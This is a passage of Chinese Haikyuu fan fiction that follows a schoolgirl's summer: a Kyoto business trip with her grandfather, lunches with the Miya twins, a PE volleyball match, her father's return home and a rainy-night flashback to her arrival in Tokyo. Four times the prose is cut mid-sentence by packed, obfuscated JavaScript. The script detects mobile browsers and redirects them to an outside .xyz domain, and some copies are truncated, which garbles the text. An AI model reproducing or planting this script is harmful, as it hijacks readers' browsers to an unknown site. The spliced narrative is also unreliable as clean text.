她也没有骗人,六月正是山椒收获的季节,南拓一郎要亲自去京都的种植基地谈供货的合同。 他决定把南见月一起带过去。 “多看、多学、多做,如果不知道自己喜不喜欢,就先去试着了解,试着做做看,再决定要不要选择这一条路。” 他这么对南见月说道。 恰好南见月对这些东西不讨厌,所以去一趟也可以。 结果这趟京都之行一去就是四天,她还为此请了两天假,到周三才回到学校上课。 随行接待、会议记录、竞价拉扯,拓一郎也是真的把她一个人当三个人用。 经过几个月的相处,拓一郎深知南见月的脾性,每次当南见月累到想要撂挑子不干了的时候,他便装作善解人意的模样说道:“没事,虽然爷爷我没有带助理过来,但是我一个人做这些也是可以的。” 尽管知道拓一郎是在以退为进,但南见月发现自己竟然对他这种滚刀肉型人格无可奈何。 既然要做,那就要认认真真地做。 而经过四天,这次的任务终于勉勉强强又顺顺利利地结束,但她是真的有点受不了了。 所以进教室时,面对桃濑雪菜看着她眼下明显的青黑惊讶道:“你怎么回事?”的时候,南见月的表现是长长叹了口气。 她趴在自己的座位上,对突然骚动起来的同学们一无所察,只是对着桃濑道:“我真的,再也不会上当了。” 桃濑雪菜哈哈大笑,揉了揉她的脑袋,道:“没想到一山还比一山高啊,终于有人能治治你了。” 身边传来的议论声打断了两人的交谈,桃濑这才像想起了什么似的,指着在门口跟老师说这话的宫侑道:“你看IH的预算赛了吗?我们学校的男排又打进全国大赛了。” “诶?” 南见月与走进来的宫侑对上眼神,被他突然亮起来的眼睛刺了一下,她无奈转头,继续听着桃濑雪菜说话。 “宫侑同学还作为正选二传打完了整场决赛呢,他可还是一年级诶。” 南见月点了点头,道:“为了赢的话,一年级还是三年级,谁上场都可以吧。” 不过南见月回想起某个人,她便也问了出来,“北前辈没有上场吗?” 桃濑雪菜有些疑惑,道:“北前辈?不知道诶,没听说喔,你认识的人吗?” 果然没有上场啊。 南见月点了点头,正准备说话上课铃就响了,于是两人的聊天中断。 而宫侑回到座位经过南见月的时候即便再如何装作若无其事,但眼角眉梢的喜悦和骄傲都是掩藏不住的,简直就像是南见月小时候养过一段时间,认真吃完饭就会凑过来求夸奖的小狗一样。 但南见月倒是没想到宫侑还挺能忍的,每个课间,他都被那些过来道贺的同学们团团围住,直到午休时分,他眼见着南见月拿着便当盒走出教室才急匆匆地追出来。 “喂。” 宫侑拉住南见月的手,不满地道:“你都不祝贺我们打进全国了吗?” 他握得好紧,南见月抽不出来,只得道:“恭喜恭喜,祝贺你们在全国大赛中取得好成绩。” 她晃了晃胳膊,示意宫侑松手。 但宫侑不满她如此官方的祝贺,道:“那今年的IH会在东京举办,你会来看我们比赛吗?” 每年的IH,也就是全国体育大会都是在夏天举行,是许多学校在招收新选手又经过磨合之后的第一次大赛,对宫侑这样的一年级选手意义非凡。 这个…… 南见月很是好好想了下,道:“如果没有事会去的。” 这次稻荷崎的IH预选赛她就没有去看,反正如果到时候闲着也是闲着,去看看也不是不可以。 “好了,快放开,我要去吃饭了。” 宫侑有些迷恋握着她的手的感觉。 排球是一项不能持球的运动,所以无论是练习还是比赛,他真真切切掌握着球的只有某些一闪而过的时刻。 但她的手掌柔软又温暖,强烈的安心感从两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫治点了点头,便从善如流地分享她的午餐。 不过他又说起了IH,南见月便道:“到时候你也会上场吧,听我们班的人说你和宫侑配合得很默契呢,” 宫治点了点头,他犹豫了下,道“教练说会让我以接应二传的位置上场。” “接应二传?” 对于南见月来说,这是一个有些陌生的名词。 与分工明确的二传手和自由人不同,接应二传在球队的定位相对模糊。 扣球、拦网、传球、接球,都是接应需要做的。 相应的,这个位置的球员既要有强大的攻击力,又要有稳健的防守能力,必要时还要充当场上的第二位二传来组织进攻。 宫治解释完了接应和主攻手的区别之后,南见月恍然大悟地点了点头,“原来接应要做这么多啊。” “看来阿治你……是备受期待的选手啊。” 18.气泡水 把上次从京都带回来的山椒当做伴手礼,送给宫治之后…… 南见月又接到了邀请,据说他研究出了椒麻鸡丝饭团。 这个她倒是真的感兴趣,所以也就顺势答应了。 南见月急匆匆地一下课就冲了出去,最近天热了起来,要是不快一点,自动贩卖机的巧克力脆筒雪糕就要被抢光了。 但还没走近就看见贩卖机附近人山人海的模样,南见月望而却步了。 人挤人挤得浑身是汗什么的还是算了吧。 “喂——” 身后传来一道懒洋洋的声音,高大的影子压下来,巧克力脆筒被一只骨节修长的手捏着从天而降。 是角名伦太郎。 应该是感谢她前段时间帮着给他补课吧。 于是南见月便心安理得地接下了雪糕。 角名咬着自己的饮料棒,目光在她手中提着的便当袋上转了一圈,道:“跟宫治吃饭?” 南见月闻言有些好奇,道:“你怎么知道我是和宫治一起吃饭。” 得到了确定的答案,角名的心沉了下去,他咔擦一声咬断了饮料棒。 嘴里的冰碴太硬了,他的心情更加不佳。 “猜到的。” 角名轻哼一声,道“那家伙昨天可是被教练骂了,让他记得控制体重。” “诶?他长胖了吗?” 南见月一只手提着便当,一只手有点拆不开雪糕的包装。 幸而角名非常善于察言观色,他很自然地从南见月手中接过便当袋,方便她撕包装。 “撕拉——” 终于吃到脆筒雪糕的南见月一边咬着雪糕,一边过去扔包装。 浓郁甜香的巧克力和冰淇淋简直是夏天的绝配好吗。 南见月开开心心地走出一段路之后才发现角名也跟了上来,两人也顺势聊了起来。 “嗯,也不能简单地说长胖……体重和体脂保持相对稳定的水平,动作稳定性就比较好。而且摸高也和体重有关的……” 南见月闻言不着痕迹地瞟了眼角名的腰,道:“那你呢?” 角名低声笑了笑,道:“想什么呢,我的体重可是很标准的啊,看起来没有宫治壮只是因为肌肉密度不一样而已。” “……这样啊。” 他们两人都咬着冰棍,随意地聊着天,走到了她吃午饭时的秘密基地附近。 “我到了,谢谢你的雪糕,还有帮我拿东西,再见哦。” 南见月接过自己的便当袋,挥了挥吃了一半脆筒雪糕就转身走了。 角名伦太郎看见她穿过高大樱树的枝叶掩映的小道,直到背影消失。 椒麻鸡丝饭团出乎意料地成功,所以吃了一个超大饭团就吃饱了的南见月,再次把自己的午餐分享给了宫治解决。 慢慢啃完饭团,南见月觉得稍稍有点噎人,于是宫治连忙把柠檬味气泡水递过来。 借着汽水把东西咽下去,南见月盯着罐体上面的Q版小柠檬转头疑惑地问道:“为什么你每次都给我带柠檬味气泡水?” 宫治则是表现得更加惊讶,道:“你不喜欢这个味道吗?我第一次在这里见到你的时候,你喝的就是这个吧?” 啊? 那么久的事情他也还记得吗? 南见月想了想,好像确实有这么一回事,不过她晃了晃易拉罐里剩余的液体,道:“其实我也喜欢其他口味啦。” “阿治下次就不用帮我带喝的了,我想试试其他口味,听桃濑说新出了哈密瓜味。” 宫治应了声,他觉得自己是应该为了她口中的“下次”开心。 但她并不仅仅喜欢柠檬味……莫名地让他有些奇怪的失落。 南见月瞥见他垂下的头有些疑惑,她想起角名的话,凑过去戳了戳他放在桌上的坚实小臂,道:“你多重?还有身高多少?” 为什么突然问这个问题? 宫治觉得疑惑,但他还是老老实实地答了:“前几天刚测过身体数据,现在是74.4kg,181.6cm。” 南见月捏了一把他手臂上的的肌肉,道:“很标准的体重啊。” 看来身为运动员要控制的东西真的很多呢。 虽然六月的天气不算很热,但他已经穿上了短袖衬衫,领带也拉开了些。 手下的小臂不算很白皙,能看见隆起明显的血管和筋络,排列着明显的肌肉,柔软…… 总所周知,肌肉在放松时是柔软的,在用力的时候则相反。 感受到手下逐渐与柔软一词沾不上边的触感,南见月这才发现他的手正在紧张地抓着桌角。 她抬头看过去,宫治盯着她的手不敢看她的眼睛,脸和耳朵都红透了。 啊,超纯情的啊。 南见月收回手感叹道。 这让人怎么好意思下手? —— 六月的时间过得很快,尤其是IH临近,排球部的训练日益繁重。 南见月基本每周会和宫治一起吃两到三次午餐,很明显地发现了他的便当盒里减少了碳水的比例,增加了更多的蛋白质。 而同班的宫侑似乎是陷入了瓶颈,他身上的焦躁气息日益增加,似乎连午休时分都在排球馆训练。 虽然和角名见面比较少,但南见月感觉他身上总是透着一股被教练操练过度的疲惫。 唯一不变的似乎就是北信介了,南见月每周末去农场时仍然会遇见他在烈阳下挥洒汗水,即便是在学校里偶遇也依旧会温和地与她问好。 南见月偶尔会和朋友们去看排球部的训练,他总是在角落一步步做着自己的训练。 在农场的工作是北信介没有报酬的义务劳动,而在排球部里也并不是能够上场的球员,却依旧兢兢业业地做着这些事。 他认真对待着每一个过程,似乎有没有结果并不重要。 而目前为止,南见月做的每一件事都是期待着回报的,所以对于北信介这样的人,她十分有十二分的不理解。 转眼间就到了六月的尾巴,天气开始热起来了,连带着排球课也不让人轻松。 经过两个多月的训练,丸山老师已经开始将她们分组成队进行训练了。 据说阶段测试还会将两个班的女生凑出两队打练习赛,练习赛上成绩表现亮眼还可以作为加分依据。 当然,这也意味着体育课不能像之前一样摸鱼了。 丸山美惠老师在这个时候总是变得异常可怕,每当南见月接球的时候想要产生一点想要偷懒的心思,她严厉又带着期待的目光都会扫过来。 那还能怎么办。 抱歉,让丸山老师失望,她做不到。 面对着砸过来的球,南见月往前大跨一步试图救下来,发现没办法之后她无奈地迅速前扑,利用惯性迅速往前滑行,这才把球垫了起来。 她核心力量不太够,上肢又没什么肌肉,再加上女性的生理结构本来就不适合鱼跃,所以一般都是用前扑和滚翻来救球。 但即便是这样,还是很痛啊。 手肘和掌心都传来摩擦过度的疼痛和热意,南见月的面部肌肉不受控制地抽搐了几下,随即又迅速站起。 她救起的球被桃濑雪菜扣下,但对面5班有个叫做小鸟游香芝的球员。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480427|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小鸟游轻易就接起了桃濑这类初学者扣下的球。 落点单一,轨迹又甜,对她这位稻荷崎女排替补自由人来说,轻而易举。 因为大多数人都不是专业的,发球失误之类的不提,扣球下网和接球失误十分频繁,南见月虽然技术算不上拔尖,但意外地很稳定。 理论上应该能救起来的球,她基本都能救起来,反应又快,虽然位置是主攻,但几乎都在满场擦地板救球。 丸山老师虽然在频繁地换人上下场,但一直过了好几轮还没叫南见月下场休息。 无它,虽然1班的女孩子无论高度还是力量都强过对面5班,但大多都是排球的初学者,一传水平十分堪忧。 兜兜转转,大家绝望地发现,居然只有南见月在防守上比较出色。 打了大半节课,南见月觉得自己已经是在场上苟延残喘了。 直到她因为体力耗尽又踩到汗水滑了一跤,才被换了下来。 看着好友一脸半死不活的样子,桃濑雪菜连忙把她的手臂放在自己肩上,扶着她到一边的角落休息。 南见月累的话都说不出来,只能歪着脖子任由桃濑雪菜撕开湿纸巾擦她颈窝里的汗水。 桃濑帮她把垮了的马尾重新梳理了下,轻哼道:“那种球都能接起来呢,小南还说只是会打呢。” 南见月靠在她的肩膀上长出了一口气,道:“接球是最基本的啊,我摸高不够,球扣不下去,传球也就一般般,只会这个嘛。” 她们两个刚聊一会儿,就被旁边一起坐着休息的女生们拉了过去。 在场下,1班和5班的女孩子们都是非常友善可爱的,大家此时便围坐在一起聊天。 5班的桐谷指了指对面的男生场地,道:“宫侑同学今天发球好多失误啊。” 南见月也看了过去,宫侑低着头看不清表情,他被佐藤老师换了下来。 虽然这只是排球课上的非正式练习赛,但他似乎已经连续四次发球失误了。 下场休息的小鸟游也走了过来,听着她们的聊天,突然道:“我们和男排那边的球馆隔的很近,听说他似乎是正在练习跳飘球,但似乎不太理想喔。” 桃濑闻言点了点头,道:“对,队员的稳定性可是很重要的,几乎能直接影响教练让不让其上场呢。” “IH马上到了难道他会被换下来吗?” “不要啊——侑君——” 发球不稳定。 所以这就是他变得焦躁的原因吗? 被换下去的宫侑背对着她们对墙垫着球,似乎没有受到任何影响。 这节课结束就直接放学了,南见月和朋友们换好校服准备回家,她们经过排球馆的时候还能听见里面的声音。 南见月在门口看了会儿。 宫侑还在里面练习,而且还是练发球。 他全神贯注,完全没注意旁边的一切,似乎整个世界在他眼中都只坍缩成手中的黄蓝色排球。 她因为接球稳定被丸山老师派上场,宫侑因为发球不稳定状态不佳被下场。 稳定一定是好事吗? 不稳定又一定是坏事吗? 南见月收回目光。 稻荷崎可是要胜利不要回忆的队伍。 手机在手中振动的动静让南见月回过神来,发信人出乎意料。 【寄件人:南雪正】 【6月30日 16:07】 【周日我会来一趟兵库,见月,我想我们需要谈谈。】 今天周四,周日是7月3日,是IH开赛的日子。 她亲爱的父亲,回来得真不是时候。 19.年糕 “你又不能去!” 不愧是运动员,中气十足的质问直接吸引了所有人的目光。 南见月按住自己不断跳动着的额角,道:“小声点。” 宫侑非常不高兴,他感觉到了四周还没有走掉的同学投来的八卦视线,拉着南见月的手腕就想把人带出去。 虽然她当时也没有明确答应说一定会去,但是不想和宫侑一起丢脸这是确定的,所以还是顺势站了起来。 他捏的很紧,抽了一下没抽出来,南见月干脆就面无表情地任由他拉着自己快步走到靠近顶楼的楼梯间。 此时是放学时间,大多数人都忙着部活或者回家,楼梯间里很安静。 宫侑仍然没有放开她的手腕,他现在越想越委屈。 “你上次的IH预选赛就没来看,这次也不能去,这可是我高中的第一次全国大赛诶,你前几天明明还去看了桃濑的比赛。” 他靠的有些太近了,南见月忍不住微微侧过头,她辩解道:“我是说没事会去,但这不是有事吗?” 有事? 宫侑拧了拧眉毛追问道:“什么事?” 难搞啊。 换了赤苇京治,这个时候大概就不会追问了。 察觉到自己这么想,南见月摇了摇头,把现在的暧昧对象和前男友比较什么的,是绝对的大忌。 虽然这次她是真有事,但万一她下次就是不想去,如果随便找了个借口,是不是也要被宫侑刨根问底。 南见月习惯做事前预想,感觉有点苦恼。 不过当务之急不是这个。 宫侑一眨不眨地盯着南见月,把她刚刚所有的奇怪神情和若有所思统统收入眼底,直到南见月笑着看他说道:“我爸爸那天要回家,有点家事。” 这个理由的确无懈可击,宫侑垂眼看她。 而且这个理由就是真的,所以南见月毫不心虚地与他对视。 宫侑突然叹了口气,他拉住南见月的手,语气又恢复平常的黏黏糊糊,“你不来我好失望的。” “好了好了,等你回来我给你做布丁?” 只是做一次布丁怎么行,宫侑面上不显,语气变得更加可怜兮兮,他露出自己对着镜子演练过许多次的示弱表情,“只是做布丁吗?” 还学会得寸进尺了。 “那你想怎么样?” 宫侑迅速回答道:“暑假和我去约会。” 嗯…… 南见月想了想答应了。 反正她还蛮喜欢宫侑的。 得到了回应的宫侑心情明显好了很多,距离部活还有一段时间,宫侑便和她坐在台阶上聊了聊最近的事。 “跳飘球成功率太低了……不过已经比刚开始练的时候好多了,不过教练劝我先不要在上场的时候发跳飘……” 南见月从包里拿出一条巧克力和他分着吃,两人肩膀挨着肩膀。 “你很喜欢新的尝试啊,果然是个很喜欢新鲜感的人呢。” “喂,这是夸我吗。” “当然,没有新尝试怎么会有新进步。” “话是这么说,但是……” …… 两人背着包一起下楼的时候还遇到了北信介,南见月和他打了下招呼。 宫侑和北信介要去排球馆,南见月要回家,即将分别之际,北信介状若随意地问了句南见月要不要去看IH。 南见月摇了摇头道:“爸爸要来兵库,所以去不了哦。” “雪正叔叔?” 南见月疑惑道:“北前辈认识我爸爸吗?他应该很久没回日本了吧。” 北信介摇摇头,道:“我只见过他一两次,但奶奶总是说起他,不过既然雪正叔叔回来,那晚上我给你们送点东西。” 宫侑疑惑地看看北信介,又看看南见月,他们两家很熟吗? 宫侑不清楚,南见月一知半解,而从小被奶奶带大的北信介则更了解两家的渊源。 南与北,两家的情谊始于近一百年前。 直到结仁依和已经去世的北爷爷这一代,关系变得更加密切。 然而到了北信介和南见月的父亲这一代,他们都选择离开这里,去往更大的城市。 泡沫经济结束,或许是命运的指引,这一代的[南]与[北]都回到了两家发源的兵库。 南见月点点头,但随即又道:“你应该也要去东京吧,不会耽误你做赛前准备吗?” 北信介摇了摇头,却没再多说什么,道:“没关系,应该八点左右我会过来,顺便问候一下两位长辈。” “好。” 说完话,北信介看着宫侑,道:“还不走?” 南见月对他们挥了挥手,“再见哦。” 晚上八点,北信介果然来拜访了。 南见月去开的门,北信介整个人的轮廓被路灯勾勒得更加清晰,在昏暗的夜色里安静沉稳地像是一道山脊。 他肩上扛着一个暗色的编织袋,样式非常眼熟。 南见月想要去接过来,北信介摇了摇头偏过身体避开了她的手,道:“有些重,我来拿就好。” 由纪子也迎了出来,她显然和北信介非常熟悉,称呼也是更加亲密的“小信”。 “结仁依刚刚打电话给我了,谢谢你们特意送过来。” 北信介被由纪子带着把东西扛进了厨房,南见月这才看见里面的东西—— 米粒落入米缸时会发出悦耳的沙沙声,比起平常吃的大米更加乳白不透明,北信介带来的是一袋子饱满的糯米。 “今年的糯米还没成熟,这一袋是奶奶去年特意留下的……” “诶呀,是,雪正马上要回来了,这个任务就交给他了。” “什么任务?” 北信介一愣,他转头看了看发出疑问的南见月,眼睛笑成了弯弯的弧度,“打年糕。” 北信介被留下来吃糕点,南见月作陪,他也慢慢喝着茶说起了结仁依告诉他的事。 “过年时基本家家户户都会制作年糕,虽然现在有了专门的机器,但我们这边大多还是会选择手打。打年糕是个很累的活计,雪正叔叔定居国外,后来南爷爷年纪也大了……我们已经好几年没有送糯米过来了。” 他的言下之意南见月明白,年糕是人们在新年寄托美好祝愿的食物,但想要寄予期望的人不在身边,自然也提不起兴致去做了。 据说南雪正年轻的时候,和拓一郎的关系相当紧张。 那时候拓一郎还不是一个开明的长辈,南雪正也有些中二的少年意气,几乎是见面就吵。 此时由纪子把糕点端过来放在了茶几上,她笑着道:“今年过年的时候,我跟结仁依开玩笑说等雪正回来,一定要罚他把这些年的年糕都打完,没想到她和小信记到现在。” 南见月拍拍由纪子的肩膀,她不知道该说什么,只能道:“这次新年,我来打?” 由纪子转过头擦了擦眼角,笑着道:“我可舍不得我们家小月做那个。” 北信介解释道:“打年糕的木锤是特制的,很重,而且少说也要打好几个小时,中间还不能停太久,很累。” 南见月是一个知难而退的人,她低头吃糕点,道:“那好吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497423|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月亮高悬,南见月想要送一送北信介,但北信介摇了摇头,道:“有些晚了,没关系的。” 南见月犹豫了下,终于在关院门之前探出头叫住了他。 “嗯?” 北信介回头看她,南见月的表情在夜色里看不太清楚,只能听见她郑重的声音,“谢谢北前辈。” “没关系,今年新年,我会送新米过来的。” —— 7月3日正午时分,烈日高照。 南雪正刚从后座下来就看见了在院门外等着的南见月。 正在百无聊赖地玩手机的南见月也循着脚步声抬起头。 父女两人时隔小半年的再次见面,两人对视了一眼又移开目光,南见月站直身体道:“欢迎回来。” “嗯。” “在这边感觉怎么样,你读的也是稻荷崎吧,在学校有认识新的朋友吗?” 或许是感觉自己刚刚的回答稍显冷淡,南雪正又追问了句。 南见月点头,“还可以,是,有的。” 太久没有和对方面对面的交谈了,无论是南见月还是南雪正,都觉得不太适应。 她好像又长高了些,南雪正叹了口气,还想说些什么却被从屋内出来的由纪子叫住,“阿正。” 南雪正被由纪子和拓一郎叫去后院谈话了。 “他们要聊什么?” 南见月看着替他们关好门的由纪子,问了出来。 由纪子摸了摸南见月的头,道:“阿正是为了你回来的,他们想聊聊关于你的事情。” 总之最后面色如常的南雪正被赶到了后院打年糕,南见月则看着拓一郎吹胡子瞪眼地骂他没力气。 幸好没吵架。 打着游戏等待年糕的时间并不难熬,只有南雪正累的够呛。 糯米要泡到一掐就断,然后蒸熟,再倒进石臼里捶打。 热气间隐约能够看见晶莹的米粒,沉重的木锤落下,淀粉分子被打散后重组,分明的米粒逐渐成为一团柔软模糊的云。 脱了西装外套,头发汗湿,形容狼狈的父亲并不常见,南见月毫无心理负担地拍了多张照片。 她按动按键,将游戏机里的BOSS和小怪清统统扫干净,久违地想起小时候看的动画片。 新年之际,怪兽会抢走人们辛辛苦苦打出来的美味年糕……南雪正会直说怪兽都是假的,妈妈则表示她一定会打败怪兽。 也不知道完全不一样的两人到底为什么会跨越那么多阻碍因素在一起,甚至结婚生子。 但是年糕还是很好吃的。 虽然在炎热的天气吃红豆年糕汤有点奇怪就是了。 年糕经过烤制膨胀,略带焦糊的状态是最好的。放入碗中后,再淋上温柔甜蜜的红豆汤,细腻的豆沙也没办法掩盖炭火和淀粉的迷人香气。 南见月喝了两碗就被叫停了。 “年糕吃多了不好消化,我把剩下的储存起来,你想喝的时候我们再做。” “……哦。” —— 南雪正最终还是抓到了南见月,父女俩难得如此闲适地坐在一起聊天。 “听说老爷子带你去京都谈生意了?还让你去农场帮忙?” 想起被当牛做马的那几天,南见月沉默点头。 南雪正拍拍她的肩膀,道:“我就是听藤本说了这些事才回来的,见月,我跟父亲谈好了,你可以去尝试,如果喜欢就坚持下去,如果讨厌就放弃。” “你不必回应任何人的期待。” 南见月感受着肩膀上的重量,点了点头。 20.小狗馒头 打了一天游戏,南见月睡前才想起看手机。 未解锁界面有好几条消息提醒。 短信、电话、社交平台…… 发件人倒都是同一个人——宫侑。 解锁之后,有一条新消息正好弹了出来,随之而来的就是更多的信息轰炸。 所以她才讨厌Line的已读功能啊…… 南见月大致浏览了一下他发过来的信息,忽略掉他臭屁和自夸的部分,说他们被某个新闻记者采访了,总之就是会上电视。 【恭喜哦。】 宫侑发过来了一段视频,看封面似乎是他们被采访的背后视角,像是角名拍的。 南见月揉了揉有些酸痛的眼睛,没有点开。 【明天的比赛加油,早点休息。】 发完信息南见月就终止了聊天,放下手机,她考虑了一下—— 还是明天看看比赛转播好了。 第二天吃早餐的时候,猛地看见饭桌边多了个人还挺不习惯的。 南雪正把早餐端上桌,道:“去看看你爷爷浇完花了没有,喊他来吃早饭了。 “哦。” 吃早饭的时候南见月打开了电视机,IH转播还在赛前准备环节。 她瞄着电视机,还能用余光瞥见南雪正把水煮蛋往她盘子里放。 鸡蛋水煮的味道简直淡得没边儿,南见月伸出手抗拒,“不要这个,我不爱吃白煮蛋。” 难得想展现慈父形象的南雪正轻咳一声,还是在南见月抗拒的眼神下把剥好壳的水煮蛋放进了她的盘子。 并开始了自己的长篇大论。 “水煮蛋的蛋白吸收率更高,能够提供……” 南见月叹气,“你别说了,我马上吃。” 蛋黄好噎人。 南见月刚想喝口水,抬头就见电视屏幕里正在播放采访片段。 但吸引她注意力的不是那个正在接受采访,感觉尾巴都要翘上天的某稻荷崎二传。 他们背后有另一只队伍也在接受采访。 穿着荧光黄队服,疑似主将的人背后有一道熟悉的身影。 他似乎正在与旁边的人讲话,只露出小半张清秀的侧脸,与一年前伞下的轮廓逐渐重合。 喉间堵塞着沉重的东西,让南见月屏住呼吸,她不错眼地盯着屏幕,直到摄影机变换机位,让她能够看清他队服背后的学校缩写—— “ITACHIYAMA” 井闼山学院。 她知道这个学校。 屏幕里哨声响起,昭示着第一场比赛即将开始。 南见月喝了口水把蛋黄咽下去,突然道:“我要去一趟东京。” “诶?” 南雪正甚至疑心她是不是被水煮蛋难吃疯了。 由纪子连忙问她是不是有什么急事。 南见月几口塞完早餐,点了点头,道:“很急。” 虽然已经知道学校人应该是跑不掉了,但还是马上去一趟好了,防止节外生枝。 她吃完早餐就放了碗筷回房间收拾东西了,留下餐桌上的三个大人面面相觑。 南雪正震惊地一口吃了一整个水煮蛋,被噎得猛喝一整杯水,他回过神来,“不是,她是在开玩笑对吧。” 由纪子已经拿出了便当盒给南见月装糕点,她闻言摇头笑了笑。 拓一郎则慢悠悠地喝完最后一口汤,嫌弃道:“啧,你的餐桌礼仪出去别说是我教的。” 把可能要用到的东西都放进背包之后,南见月换了身轻便的衣服。 她看着镜子里的自己,与回忆细细对照。 比之一年前,她长高的不多,头发长了许多,面貌几乎没变。 找了个夹子把新留的刘海夹起来,南见月满意地点了点头。 这样绝对能被认出来吧。 房门被敲响,得到许可后南雪正走了进来。 他看见已经万事俱备的南见月,捂着脸叹了口气,“你真要去?这么突然……算了,要去多久,什么时候回来?” 南见月点点头,道:“嗯,快的话今天晚上,慢的话明天吧。” “明天是周一吧,你不上课了?” 南见月想起证件没带,她拉开抽屉翻找证件,闻言道:“那麻烦爸爸你帮我请个假,谢谢。” “真是的……” 认命般的,南雪正确认她不是开玩笑之后点了点头,他道:“我等会转点钱给你,有事给我打电话,东京的房子我叫人提前打扫出来,你直接回去住就行……” “……还有就是,记得及时汇报行程。” 南见月对他竖了个大拇指,转身背着包出了房门。 跟爷爷奶奶告别完,接过亲爱的奶奶准备的糕点,南见月出了家门。 她打开手机,转账消息高居通知栏首位,数目之可观让她立刻向开过来的计程车招了招手。 甚至到车站之后,南见月买到了一张还有十分钟进站的票。 她检票上车,还是舒适的靠窗座位。 一切进行得非常顺利。 兵库到东京只需要三个小时真是太好了。 困意来袭,抱着便当,南见月梦到了刚来日本的那一天。 —— 那天像很多电视剧里俗套的剧情一样,下了很大的雨、手机摔坏、语言不通、找不到路…… 总之在那之前都倒霉透了。 离开之前的家时,南见月有仔细地环视房间,发现几乎没有什么是必须要带的。 衣服不需要多带,到了可以再添置。 小时候的玩偶们都安安静静地被她锁在玻璃橱柜里,但即便是站在门口也能看到褪色的布料上岁月磨损的痕迹。 她与一只豆豆眼的灰色秃毛兔子玩偶对视了一眼,向它和它的小伙伴们挥了挥手,在心中说了再见。 跨越重洋,她来到爸爸的故乡。 南见月自诩敏锐,虽然对父母离婚这件事隐隐有些预感,但真正宣判的时候还是会有一种“啊,好突然”的感觉。 财产分割和责任交接都办的又快又顺利,被判给父亲的南见月也办好了相关手续,准备转学到东京的杜中学。 当然这些事全部都是南雪正的助理经手和她沟通的。 上次和南雪正见面还是他拿到离婚证,在家里一边哭一边收拾东西搬出去的时候。 落地东京已经是晚上七点半,手机在下车的时候不小心摔坏了,她与来接她的助理断了联系。 没有翻译器,只能借助一些简要的标识,南见月来到了一处人流密集的路口。 此时天空却下起了丝丝细雨,冰凉的雨幕虚化了彩色的灯光。 置身于繁华忙碌的东京街道,看着高楼的玻璃反射着城市的霓虹灯,头顶有一块小小的灯牌,能够遮挡大部分雨水,南见月拉着冰凉的行李箱杆看着人流。 此时最好的破局之法应该是随便寻找一个路人,再用她瘠薄的英文麻烦对方带她去警察局。 但今天所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505044|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的不顺利像是逐渐累积的数值,在这场烦人的细雨落下之时借势愤然冲破了阈值。 没力气了先坐会。 她蹲在街角的角落,心想至少该带上那只秃毛兔子玩偶,但是又觉得就算带上了应该也会和她一样变得狼狈。 灯牌只能挡住一部分雨水,南见月的衣角不可避免地显出被雨水洇湿的痕迹,脸上亮亮的水迹反射着光。 在感知到更多消极的情绪之前,好像泪水先不听话地滚落出来了。 路边打着伞经过的路人被她吓了一跳。 他犹豫了下,还是决定走过去看看情况,“那个……小姐……你……”你还好吗? 南见月抬头看他,他这才发现,虽然对方的表情不算友善,但脸上似乎是泪痕。 夜晚、少女、行李、眼泪…… 这些要素足够这个撑着伞的好心路人脑补少女的悲惨经历。 她警惕地盯着他的样子简直像个毛扎扎的小刺猬,和他那个难搞的表弟如出一辙。 这样想的少年笑弯了眼睛,圆圆钝钝的豆豆眉吸引着南见月的视线。 是什么天真善良狗狗天使吗? 但感觉更可能是奇怪的人吧。 南见月听到了少年对她说了什么,但是没太听懂。 来日本之前,她只是刚背完五十音图而已。 面前的男生似乎发现了她听不懂自己说的话,歪了歪头就在她面前蹲了下来。 他把背后背着的包拿到面前拉开,拿出了一小包纸巾递给她。 南见月的目光从他包里的黄蓝色排球上移开,看了看他的脸,对方又往她面前递了递。 接过纸巾,南见月抽出一张抹了抹脸,小声地对他道了谢。 好在还有英文是国际通用语言。 虽然两人都不精此道,但还是用简单的词句完成了基本的沟通。 了解情况后,男生恍然大悟,“Police!” 南见月点头,“Yes!” “OK!” 豆豆眉小狗……不,男生的回答带着乐于助人的积极善意,阳光到差点让南见月忘记现在是下雨天。 去警察亭的路上,南见月被男生拉进他的伞下。 他把身上背着的大包甩到背后,接过了行李箱,似乎是为了安慰她,口中还唱着不知名的轻松小调。 